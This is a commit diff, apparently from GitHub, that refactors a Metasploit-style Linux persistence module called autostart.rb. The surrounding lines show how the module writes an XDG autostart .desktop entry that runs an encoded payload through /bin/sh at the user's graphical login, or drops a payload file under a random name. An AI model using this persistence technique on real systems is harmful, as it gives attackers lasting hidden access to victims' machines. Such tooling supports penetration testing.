Skip to content

Commit c4d0302

Browse files
committed
autostart updated with mixin udpates
1 parent fb29084 commit c4d0302

File tree

1 file changed

+3
-4
lines changed

1 file changed

+3
-4
lines changed

modules/exploits/linux/persistence/autostart.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,7 @@ def initialize(info = {})
7070
end
7171

7272
def check
73-
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
73+
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
7474
# https://unix.stackexchange.com/a/237750
7575
return CheckCode::Safe('Xorg is not installed, likely a server install. Autostart requires a graphical environment') unless command_exists?('Xorg')
7676

@@ -84,7 +84,7 @@ def target_user
8484
end
8585

8686
def install_persistence
87-
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if datastore['WritableDir'].start_with?('/tmp')
87+
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
8888
user = target_user
8989
home = get_home_dir(user)
9090
vprint_status('Making sure the autostart directory exists')
@@ -103,11 +103,10 @@ def install_persistence
103103
'Terminal=false'
104104
]
105105

106-
@clean_up_rc = ''
107106
if payload.arch.first == 'cmd'
108107
write_file(path, (autostart_stub + ["Exec=/bin/sh -c \"#{payload.encoded}\""]).join("\n"))
109108
else
110-
payload_path = datastore['WritableDir']
109+
payload_path = writable_dir
111110
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
112111
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
113112
payload_path << payload_name

0 commit comments

Comments
 (0)